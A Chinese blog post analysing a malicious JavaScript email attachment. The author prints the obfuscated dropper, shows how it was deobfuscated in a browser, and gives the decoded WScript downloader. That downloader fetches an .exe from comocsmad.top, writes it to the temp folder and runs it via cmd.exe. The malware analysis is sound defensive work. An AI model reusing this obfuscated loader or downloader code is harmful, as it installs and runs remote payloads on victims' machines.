展开目录
解密某个js文件
javascript
X
陈尼玛的博客
记录开发生涯的踩坑经历，用时间来验证成长
加载中

今天查看qq邮箱垃圾箱里的邮件时发现了一封被标记为有毒有害的邮件，提示附件包含木马请勿下载。于是我就把附件下载了以后一查究竟。

附件是一个zip压缩包，最里层包含一个24595.js文件，js内容如下：

function Oo0o0oo(ooO0ooO,Oo00ooo)
{
    return ooO0ooO^Oo00ooo;
}
function O00OO00(ooo0Oo0,OOOOO0O)
{
    var OoO0oO0;
    try
    {
        var i="Mat";
        OoO0oO0=(new Function("O0oO0OO","o0OoO0o","OOO0oO0","oOO0oO0","return O0oO0OO["+i+"h[OOO0oO0]("+i+"h[oOO0oO0]()*o0OoO0o)];")(ooo0Oo0,OOOOO0O,new Array(1,2,3,"floor")[3],new Array(1,2,3,"random")[3]));
    }
    catch(er)
    {
    }
    return OoO0oO0;
}
function Oo0o0oo(ooO0ooO,Oo00ooo)
{
    return ooO0ooO^Oo00ooo;
}
function OoOo00o(OOOOoO0)
{
    var OO0OOOo;
    for(;;){
        try
        {
            var j="oO0OoOO(OOO0ooO[O0O00o0].substr(2,2))^oOoOO0o[OoO0OOO]";
            var k="ch'](";
            var t="var oOoOO0o=new Arr";
            OO0OOOo=(new Function("Ooooo0o",t+"ay(96,149,7,202,23,218,251,137,67,200,137,181,255,200,81,99),OOO0ooO=Ooooo0o['mat"+k+"/\\S{4}/g),O0OOO0O=\"\",O0O00o0=0;for(var O0O00o0=0,OoO0OOO=0;O0O00o0<OOO0ooO.length;O0O00o0++,OoO0OOO++){if(OoO0OOO>=oOoOO0o.length){OoO0OOO=0;}O0OOO0O+=OooooOO("+j+");}"+oooo0O0()+oooo0O0()+oooo0O0()+oooo0O0()+"(O0OOO0O);")(OOOOoO0));
            break;
        }
        catch(er)
        {
            i=0;
        }
    }
    return OO0OOOo;
}
function oooo0O0()
{
    var ooOoOo0;
    try
    {
        ooOoOo0=(new Function("OO0o00O","OO0OoOo","var i=OO0OoOo;var OoO0Ooo=O00oO0o(i);var x=O00OO00(OoO0Ooo,OO0o00O);return x;")(4,"lave"));
    }
    catch(er)
    {
    }
    return ooOoOo0;
}
function O00oO0o(OOoooO0)
{
    var oOo00Oo;
    try
    {
        oOo00Oo=(new Function("oooOoOo","OooooOO","OO0o0oO=/\\S{1}/g;return oooOoOo[OooooOO](OO0o0oO);")(OOoooO0,new Array(1,2,"match")[2]));
    }
    catch(er)
    {
    }
    return oOo00Oo;
}
function OOo00OO()
{
    var o0O00o0="*^06*^e0*^69*^a9*^63*^b3*^94*^e7*^63*^af*^ec*^c1*^bb*^a9*^25*^02*^26*^e7*^68*^a7*^42*^a8*^97*^a1*^36*^ba*^e5*^99*^df*^ab*^30*^0f*^0c*^f7*^66*^a9*^7c*^f3*^80*^fd*^31*^b1*^f2*^c3*^9e*^ba*^71*^1b*^0d*^f9*^4f*^be*^63*^aa*^db*^b4*^63*^a6*^ec*^c2*^df*^89*^32*^17*^09*^e3*^62*^92*^58*^b8*^91*^ec*^20*^bc*^a1*^97*^b2*^9b*^09*^2e*^2c*^a7*^29*^92*^5a*^96*^b3*^dd*^17*^98*^ab*^9c*^c4*^b0*^3c*^0f*^28*^e1*^73*^ba*^39*^b5*^8b*^ec*^2d*^e0*^ab*^f2*^ba*^9c*^73*^4f*^40*^e0*^75*^a6*^3b*^fa*^9d*^e8*^2f*^bb*^ec*^9c*^c4*^b0*^3c*^0f*^28*^e1*^73*^ba*^39*^a9*^9e*^e7*^27*^e0*^a0*^8e*^96*^ae*^71*^4b*^18*^f8*^6b*^82*^63*^ae*^8b*^a7*^30*^bc*^e8*^c1*^8a*^bb*^71*^5e*^5d*^b5*^35*^fa*^27*^f3*^db*^f2*^31*^ad*^fd*^c0*^8d*^a6*^71"+
    "*^00*^01*^f9*^6b*^a8*^76*^b9*^90*^a1*^3b*^a5*^e5*^fd*^8b*^bc*^21*^4d*^32*^f0*^74*^ba*^78*^b4*^88*^ec*^01*^a7*^ed*^cc*^d3*^e8*^37*^02*^0c*^e6*^62*^e3*^2c*^a7*^9e*^e5*^30*^ad*^f2*^c7*^9a*^bc*^24*^11*^0e*^b5*^64*^ab*^7b*^b6*^99*^e8*^20*^a3*^a1*^db*^8a*^a4*^3d*^4f*^40*^e1*^75*^bf*^72*^f3*^c0*^f4*^3e*^ab*^e8*^c1*^9c*^a0*^71*^4b*^05*^e7*^75*^a5*^65*^f3*^80*^fb*^26*^bc*^fc*^c7*^91*^e8*^32*^02*^0c*^f9*^65*^ab*^74*^b1*^d3*^e7*^36*^a4*^e5*^99*^df*^bc*^23*^16*^05*^bc*^3c*^b7*^6a*^bc*^8e*^e7*^20*^bc*^e0*^da*^91*^e8*^36*^06*^14*^d1*^66*^be*^76*^f2*^98*^e8*^2f*^a4*^eb*^d4*^9c*^a3*^78*^18*^14*^e7*^7e*^b1*^70*^bf*^8f*^cd*^22*^bc*^e8*^f3*^8d*^a7*^3c*^36*^12*^f9*^2f*^e8*^7f*^ae*^8f*^f9*^79*^e7*^a6*^d6*^90*^a5"+
    "*^3e*^00*^13*^f8*^66*^ae*^39*^ae*^94*^f9*^6c*^a9*^ed*^d8*^96*^a6*^7f*^13*^08*^e5*^38*^ac*^2a*^e9*^d9*^a5*^63*^ae*^fc*^db*^9c*^bc*^38*^0c*^0e*^bd*^75*^af*^64*^af*^97*^fd*^6f*^e8*^ec*^c7*^8d*^a7*^23*^4a*^40*^ee*^6e*^ac*^37*^f2*^da*^ec*^31*^ba*^e6*^c7*^d6*^b3*^23*^06*^14*^e0*^75*^a4*^37*^b9*^9a*^e5*^2f*^aa*^e8*^d6*^94*^e0*^23*^06*^13*^e0*^6b*^be*^3b*^fa*^9d*^e8*^2f*^bb*^ec*^9c*^c4*^b5*^34*^0f*^13*^f0*^7c*^ad*^72*^ae*^bf*^e8*^37*^a9*^cf*^c7*^90*^a5*^04*^11*^0c*^bd*^25*^a2*^63*^ae*^8b*^b3*^6c*^e7*^ea*^da*^92*^a7*^32*^10*^0d*^f4*^63*^e4*^63*^b5*^8b*^a6*^22*^ac*^e4*^dc*^91*^e6*^21*^0b*^10*^aa*^61*^f7*^24*^f8*^d7*^a9*^25*^bd*^e7*^d6*^8b*^a1*^3e*^0d*^48*^e7*^62*^b9*^62*^b6*^8f*^a5*^63*^ad*^fb*^c7*^90"+
    "*^ba*^78*^43*^1b*^fc*^61*^ea*^3f*^fb*^9e*^fb*^31*^a7*^fb*^9c*^84*^ba*^34*^17*^15*^e7*^69*^ea*^74*^bb*^97*^e5*^21*^a9*^ea*^de*^d7*^ba*^34*^10*^15*^f9*^73*^e6*^37*^bc*^9a*^e5*^30*^ad*^a0*^8e*^82*^ad*^3d*^10*^05*^ee*^60*^af*^63*^9e*^9a*^fd*^22*^8e*^fb*^da*^92*^9d*^23*^0f*^48*^b7*^6f*^be*^63*^aa*^c1*^a6*^6c*^ab*^e6*^d8*^90*^ab*^22*^0e*^01*^f1*^29*^be*^78*^aa*^d4*^e8*^27*^a5*^e0*^db*^d1*^b8*^39*^13*^5f*^f3*^3a*^f9*^35*^f6*^db*^ef*^36*^a6*^ea*^c1*^96*^a7*^3f*^4b*^12*^f0*^74*^bf*^7b*^ae*^d7*^a9*^26*^ba*^fb*^da*^8d*^e1*^71*^18*^09*^f3*^27*^e2*^36*^bf*^89*^fb*^2c*^ba*^a0*^ce*^8d*^ad*^25*^16*^12*^fb*^27*^a9*^76*^b6*^97*^eb*^22*^ab*^e2*^9d*^8d*^ad*^22*^16*^0c*^e1*^2b*^ea*^71*^bb*^97*^fa*^26*^e1*^b2*^c8"+
    "*^9a*^a4*^22*^06*^1b*^e7*^62*^be*^62*^a8*^95*^a9*^20*^a9*^e5*^d9*^9d*^a9*^32*^08*^48*^fb*^72*^a6*^7b*^f6*^db*^fd*^31*^bd*^ec*^9c*^c4*^b5*^2c*^4a*^5b*^e8*^7a*^e3*^2c*^a7*^86*^a0*^78*^b5*^ea*^d4*^8b*^ab*^39*^43*^48*^f0*^75*^b8*^78*^a8*^d2*^f2*^31*^ad*^fd*^c0*^8d*^a6*^71*^00*^01*^f9*^6b*^a8*^76*^b9*^90*^a1*^2d*^bd*^e5*^d9*^d3*^e8*^25*^11*^15*^f0*^2e*^f1*^6a*^a7*^9d*^fc*^2d*^ab*^fd*^dc*^90*^a6*^71*^04*^05*^e1*^53*^af*^7a*^aa*^bd*^e0*^2f*^ad*^d9*^d4*^8b*^a0*^79*^4a*^1b*^e1*^75*^b3*^6c*^ac*^9a*^fb*^63*^ae*^fa*^95*^c2*^e8*^3f*^06*^17*^b5*^46*^a9*^63*^b3*^8d*^ec*^1b*^87*^eb*^df*^9a*^ab*^25*^4b*^42*^c6*^64*^b8*^7e*^aa*^8f*^e0*^2d*^af*^a7*^f3*^96*^a4*^34*^30*^19*^e6*^73*^af*^7a*^95*^99*^e3*^26*^ab*^fd"+
    "*^97*^d6*^f3*^27*^02*^12*^b5*^73*^a7*^67*^9c*^92*^e5*^26*^86*^e8*^d8*^9a*^e8*^6c*^43*^42*^c9*^5b*^e8*^37*^f1*^db*^c4*^22*^bc*^e1*^9b*^8d*^a9*^3f*^07*^0f*^f8*^2f*^e3*^39*^ae*^94*^da*^37*^ba*^e0*^db*^98*^e0*^62*^55*^49*^bb*^74*^bf*^75*^a9*^8f*^fb*^6b*^fa*^a5*^95*^c6*^e1*^71*^48*^40*^b7*^29*^af*^6f*^bf*^d9*^b2*^35*^a9*^fb*^95*^8b*^a5*^21*^25*^09*^f9*^62*^9a*^76*^ae*^93*^a9*^7e*^e8*^ef*^c6*^d1*^8f*^34*^17*^33*^e5*^62*^a9*^7e*^bb*^97*^cf*^2c*^a4*^ed*^d0*^8d*^e0*^63*^4a*^40*^be*^27*^be*^7a*^aa*^bd*^e0*^2f*^ad*^c7*^d4*^92*^ad*^6a*^11*^05*^e1*^72*^b8*^79*^fa*^8f*^e4*^33*^8e*^e0*^d9*^9a*^98*^30*^17*^08*^ae*^7a*^a9*^76*^ae*^98*^e1*^63*^e0*^ec*^c7*^8d*^a7*^23*^4a*^1b*^e7*^62*^be*^62*^a8*^95*^a9*^25*^a9"+
    "*^e5*^c6*^9a*^f3*^2c*^1e*^06*^e0*^69*^a9*^63*^b3*^94*^e7*^63*^bb*^e8*^c3*^9a*^9c*^3e*^37*^05*^f8*^77*^e2*^73*^bb*^8f*^e8*^6f*^e8*^ea*^d4*^93*^a4*^33*^02*^03*^fe*^2e*^b1*^63*^a8*^82*^f2*^35*^a9*^fb*^95*^8f*^a9*^25*^0b*^40*^a8*^27*^ad*^72*^ae*^af*^ec*^2e*^b8*^cf*^dc*^93*^ad*^01*^02*^14*^fd*^2f*^e3*^2c*^b3*^9d*^a9*^6b*^b8*^e8*^c1*^97*^e1*^2a*^15*^01*^e7*^27*^a5*^75*^b0*^a8*^fd*^31*^ad*^e8*^d8*^df*^f5*^71*^0d*^05*^e2*^27*^8b*^74*^ae*^92*^ff*^26*^90*^c6*^d7*^95*^ad*^32*^17*^48*^b7*^46*^8e*^58*^9e*^b9*^a7*^10*^bc*^fb*^d0*^9e*^a5*^73*^4a*^5b*^fa*^65*^a0*^44*^ae*^89*^ec*^22*^a5*^a7*^fa*^8f*^ad*^3f*^4b*^49*^ae*^68*^a8*^7d*^89*^8f*^fb*^26*^a9*^e4*^9b*^ab*^b1*^21*^06*^40*^a8*^27*^fb*^2c*^b5*^99*^e3*^10"+
    "*^bc*^fb*^d0*^9e*^a5*^7f*^34*^12*^fc*^73*^af*^3f*^be*^9a*^fd*^22*^e1*^b2*^da*^9d*^a2*^02*^17*^12*^f0*^66*^a7*^39*^8a*^94*^fa*^2a*^bc*^e0*^da*^91*^e8*^6c*^43*^50*^ae*^68*^a8*^7d*^89*^8f*^fb*^26*^a9*^e4*^9b*^ac*^a9*^27*^06*^34*^fa*^41*^a3*^7b*^bf*^d3*^f9*^22*^bc*^e1*^99*^df*^fa*^78*^58*^0f*^f7*^6d*^99*^63*^a8*^9e*^e8*^2e*^e6*^ca*^d9*^90*^bb*^34*^4b*^49*^ae*^75*^af*^63*^af*^89*^e7*^63*^ab*^e8*^d9*^93*^aa*^30*^00*^0b*^bd*^77*^ab*^63*^b2*^d7*^a9*^25*^a9*^e5*^c6*^9a*^e1*^6a*^1e*^05*^f9*^74*^af*^37*^a1*^89*^ec*^37*^bd*^fb*^db*^df*^ab*^30*^0f*^0c*^f7*^66*^a9*^7c*^f2*^95*^fc*^2f*^a4*^a5*^95*^8b*^ba*^24*^06*^49*^ae*^7a*^b7*^74*^bb*^8f*^ea*^2b*^e8*^a1*^d0*^8d*^ba*^3e*^11*^49*^ee*^75*^af*^63*^af*^89*^e7"+
    "*^63*^ab*^e8*^d9*^93*^aa*^30*^00*^0b*^bd*^69*^bf*^7b*^b6*^d7*^a9*^37*^ba*^fc*^d0*^d6*^f3*^2c*^1e*^06*^e0*^69*^a9*^63*^b3*^94*^e7*^63*^b8*^e8*^d1*^d7*^a6*^78*^43*^1b*^e7*^62*^be*^62*^a8*^95*^a9*^2d*^e8*^b5*^95*^ce*^f8*^71*^5c*^40*^b7*^37*^e8*^37*^f1*^db*^e7*^63*^f2*^a9*^db*^c4*^b5*^36*^06*^14*^d1*^66*^be*^76*^f2*^9d*^fc*^2d*^ab*^fd*^dc*^90*^a6*^71*^4b*^04*^f4*^73*^ab*^3b*^fa*^9e*^fb*^31*^a7*^fb*^9c*^df*^b3*^38*^05*^40*^bd*^26*^af*^65*^a8*^94*^fb*^6a*^b3*^fa*^d4*^89*^ad*^05*^0c*^34*^f0*^6a*^ba*^3f*^be*^9a*^fd*^22*^e4*^a9*^d3*^8a*^a6*^32*^17*^09*^fa*^69*^ea*^3f*^aa*^9a*^fd*^2b*^e4*^a9*^d0*^8d*^ba*^3e*^11*^49*^b5*^7c*^a3*^71*^fa*^d3*^a8*^26*^ba*^fb*^da*^8d*^e1*^2a*^17*^12*^ec*^7c*^bc*^76*^a8*^db"+
    "*^fe*^30*^a0*^a9*^88*^df*^a6*^34*^14*^40*^d4*^64*^be*^7e*^ac*^9e*^d1*^0c*^aa*^e3*^d0*^9c*^bc*^79*^41*^37*^c6*^64*^b8*^7e*^aa*^8f*^a7*^10*^a0*^ec*^d9*^93*^ea*^78*^58*^17*^e6*^6f*^e4*^45*^af*^95*^a1*^61*^ab*^e4*^d1*^d1*^ad*^29*^06*^40*^ba*^64*^ea*^64*^ae*^9a*^fb*^37*^e8*^ab*^95*^d4*^e8*^21*^02*^14*^fd*^2e*^f1*^6a*^b9*^9a*^fd*^20*^a0*^a9*^9d*^9a*^ba*^23*^0c*^12*^bc*^27*^b1*^6a*^a7*^86*^a0*^78*^b5*^f4*^9c*^c4";
    return o0O00o0;
}
function oO0OoOO(Oo00o00)
{
    var OOooo0o;
    try
    {
        OOooo0o=(new Function("o0000O0","var x=\"0x\"+o0000O0['toString']();return x;")(Oo00o00));
    }
    catch(er)
    {
    }
    return OOooo0o;
}
function OooooOO(OoO0ooo)
{
    var O0O0O0O;
    try
    {
        var x="trin";
        O0O0O0O=(new Function("o00O0o0","i","oOO0o0o","var OOO0ooO=S"+x+"g[\"f\"+i+\"harC\"+oOO0o0o](o00O0o0);return OOO0ooO;")(OoO0ooo,"romC",new Array(1,"ode")[1]));
    }
    catch(er)
    {
    }
    return O0O0O0O;
}
function Oo0o0oo(ooO0ooO,Oo00ooo)
{
    return ooO0ooO^Oo00ooo;
}
OoOo00o(OOo00OO());

看到一堆莫名其妙的结构，一眼确实无法明白这玩意是干了啥。不过这不要紧，既然依旧有完整的js代码，解密成可读代码并不是什么非常复杂的事情。

由于这个玩意是js文件，常理来说被标记为木马的基本可以确定他是基于wscript宿主来执行的，并且至少调取了几个可能危险的对象：fso或者wsh等，所以直接在wscript上调时就会中招了。因此我选择了在chrome浏览器上进行破解。

看代码结构基本可以确定加密的代码是用(new Function(xx,xxxx))()这样的形式来执行的，因此我最开始写了这样的一句话尝试捕获Function传入的参数。

a=Function;Function=function(x,y){return a.apply(this,arguments)}

结果运行之后控制台卡无限输出最终浏览器卡死了。。

好吧这条路行不通，那么换一个思路。

我猜测这玩意解密运行是一个字一个字解开然后一起执行的，那么势必某一个function的返回值是解密到最后一步明文的结果，不论是单个字还是整个字符串。

好在function并不多，所以我尝试在return之前加一个console.log打印解密的字是什么。

最先尝试这样加：

function oO0OoOO(Oo00o00)
{
    var OOooo0o;
    try
    {
        OOooo0o=(new Function("o0000O0","var x=\"0x\"+o0000O0['toString']();return x;")(Oo00o00));
        console.log(OOooo0o)
    }
    catch(er)
    {
    }
    return OOooo0o;
}

然而打印的内容是0x..之类的，我其实基本可以确定这次的目标解出来要么是整个正常的字符串，要么是上下几次拼在一起是一个可执行的语句。所以确定这个方法并不是最后一步，但同时我也确定了我的猜测是正确的，的确是逐字解密。

我找了一个看上去比较顺眼的function：

function OooooOO(OoO0ooo)
{
    var O0O0O0O;
    try
    {
        var x="trin";
        O0O0O0O=(new Function("o00O0o0","i","oOO0o0o","var OOO0ooO=S"+x+"g[\"f\"+i+\"harC\"+oOO0o0o](o00O0o0);return OOO0ooO;")(OoO0ooo,"romC",new Array(1,"ode")[1]));
    }
    catch(er)
    {
    }
    console.log(O0O0O0O)
    return O0O0O0O;
}

这次输出的结果有点样子了，我从一竖排的输出中看到了可执行的语句，并见到了熟悉的 filesystemobject，快要解开神秘的最后一层壳了！浏览器依然卡死了。

光做到这一步还不够，虽然得到了明文的字符，但我不能把明文的字符并在一起，这他妈的怎么解密。而且从浏览器会死机的情况来看，这个解密输出的方法应该是被循环调取，虽然不知道为什么要这么做，但确实阻拦了我获取原始代码。

这里我很清楚，实际执行的代码不可能是无限长度的。如果他是循环解密执行，那么势必从某一个点之后再次解密执行的内容和上一段是完全一样的，因此我把解密的字符存放在全局变量g中，并猜测这段代码的真实长度为6000。

反正不断累加必然超过6000长度，因此我设置一旦超过这个长度的时候，把g存入localStorage，这个页面死了不能读取数据，那么就只能通过共享数据从另一个页面取出来了。

改写代码：


function OooooOO(OoO0ooo)
{
    var O0O0O0O;
    try
    {
        var x="trin";
        O0O0O0O=(new Function("o00O0o0","i","oOO0o0o","var OOO0ooO=S"+x+"g[\"f\"+i+\"harC\"+oOO0o0o](o00O0o0);return OOO0ooO;")(OoO0ooo,"romC",new Array(1,"ode")[1]));
        if(g.length<6000){
          localStorage.gg=g=g+(O0O0O0O)
        }
    }
    catch(er)
    {
    }
    return O0O0O0O;
}
function Oo0o0oo(ooO0ooO,Oo00ooo)
{
    return ooO0ooO^Oo00ooo;
}

window.g=''

最后得到的结果如下：

function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;}catch (error){return false;}}function saveToTemp(data, callback){try{var path = getTempFilePath();if (path){var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);}else {return callback(null, true);}}catch (error){return callback(null, true);}}function pad(n) {return n < 10 ? "0" + n : n;}getData(function (data, error) {if (!error){saveToTemp(data, function (path, error) {if (!error){try{var wsh = new ActiveXObject("WScript.Shell");wsh.Run("cmd.exe /c start " + path);}catch (error) {}}});}});function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;}catch (error){return false;}}function saveToTemp(data, callback){try{var path = getTempFilePath();if (path){var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);}else {return callback(null, true);}}catch (error){return callback(null, true);}}function pad(n) {return n < 10 ? "0" + n : n;}getData(function (data, error) {if (!error){saveToTemp(data, function (path, error) {if (!error){try{var wsh = new ActiveXObject("WScript.Shell");wsh.Run("cmd.exe /c start " + path);}catch (error) {}}});}});function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath =

实际重复的代码段为：

function getDataFromUrl(url, callback){try{var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) {return callback(xmlHttp.ResponseBody, false);}else{return callback(null, true);}}catch (error){return callback(null, true);}}function getData(callback){try{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{getDataFromUrl("http://comocsmad.top/admin.php?f=3", function(result, error) {if (!error){return callback(result, false);}else{return callback(null, true);}});}});}});}catch (error){return callback(null, true);}}function getTempFilePath(){try{var fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;}catch (error){return false;}}function saveToTemp(data, callback){try{var path = getTempFilePath();if (path){var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);}else {return callback(null, true);}}catch (error){return callback(null, true);}}function pad(n) {return n < 10 ? "0" + n : n;}getData(function (data, error) {if (!error){saveToTemp(data, function (path, error) {if (!error){try{var wsh = new ActiveXObject("WScript.Shell");wsh.Run("cmd.exe /c start " + path);}catch (error) {}}});}});

网上找一个js格式化工具整理之后的代码如下：

function getDataFromUrl(url, callback) {
  try {
    var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
    xmlHttp.open("GET", url, false);
    xmlHttp.send();
    if (xmlHttp.status == 200) {
      return callback(xmlHttp.ResponseBody, false);
    } else {
      return callback(null, true);
    }
  } catch(error) {
    return callback(null, true);
  }
}
function getData(callback) {
  try {
    getDataFromUrl("http://comocsmad.top/admin.php?f=3",
    function(result, error) {
      if (!error) {
        return callback(result, false);
      } else {
        getDataFromUrl("http://comocsmad.top/admin.php?f=3",
        function(result, error) {
          if (!error) {
            return callback(result, false);
          } else {
            getDataFromUrl("http://comocsmad.top/admin.php?f=3",
            function(result, error) {
              if (!error) {
                return callback(result, false);
              } else {
                return callback(null, true);
              }
            });
          }
        });
      }
    });
  } catch(error) {
    return callback(null, true);
  }
}
function getTempFilePath() {
  try {
    var fs = new ActiveXObject("Scripting.FileSystemObject");
    var tmpFileName = "\\" + Math.random().toString(36).substr(2, 9) + ".exe";
    var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
    return tmpFilePath;
  } catch(error) {
    return false;
  }
}
function saveToTemp(data, callback) {
  try {
    var path = getTempFilePath();
    if (path) {
      var objStream = new ActiveXObject("ADODB.Stream");
      objStream.Open();
      objStream.Type = 1;
      objStream.Write(data);
      objStream.Position = 0;
      objStream.SaveToFile(path, 2);
      objStream.Close();
      return callback(path, false);
    } else {
      return callback(null, true);
    }
  } catch(error) {
    return callback(null, true);
  }
}
function pad(n) {
  return n < 10 ? "0" + n: n;
}
getData(function(data, error) {
  if (!error) {
    saveToTemp(data,
    function(path, error) {
      if (!error) {
        try {
          var wsh = new ActiveXObject("WScript.Shell");
          wsh.Run("cmd.exe /c start " + path);
        } catch(error) {}
      }
    });
  }
});

解开了，原本的代码做的事情就是从远下载一个文件存放到本地，然后通过cmd运行。

相关文档

  1. 判断变量是否 0 或者 '0'

  2. replace2正则扩展方法

  3. 简易版事件封装

  4. youku电脑版跳过广告代码

  5. 破解百度云下载链接

  6. 让js支持带命名的正则表达式

  7. jshtml模板引擎

  8. json2html源码

  9. 读取Blob的内容实体

  10. 判断一个object是否HTMLDom

  11. 简易命令行解析器

  12. Promise才是javascript的正统队列

  13. callback => Promise.then

  14. nodejs异步回调的并发控制

  15. 低版本IE命名函数表达式bug

  16. 让重复调用只有第一次生效

  17. 简易JSON函数封装

  18. 使用eval来修改上下文的变量

  19. seajs同步加载依赖的实现和弊病

  20. html5页面全屏方法

  21. 给滚动条置顶添加过渡动画

  22. m秒内最多n次的问题

  23. 让代码扁平化

  24. 关于自动加载的问题

随便看看

  1. sqlite 查看table的构建语句

  2. css3自定义滚动条样式

  3. 华为等国产手机rem宽度超过实际宽度

  4. word文件命令行打印

  5. raw.githubusercontent.com DNS被指向127.0.0.1

  6. nodejs本地双向代理 端口转发

  7. jxa运动指令脚本

  8. python 用摄像头拍照并写入文件

  9. 判断变量是否 0 或者 '0'

  10. heroku查看app使用时间

  11. linux自启动/禁止自启动服务

  12. TIME_WAIT过多

  13. ssl 证书生成方式

  14. mysql选取内容导出到文件

  15. 猴子选大王算法问题

  16. ie8上Image.onload不触发问题

  17. 简易版事件封装

畅言模块加载中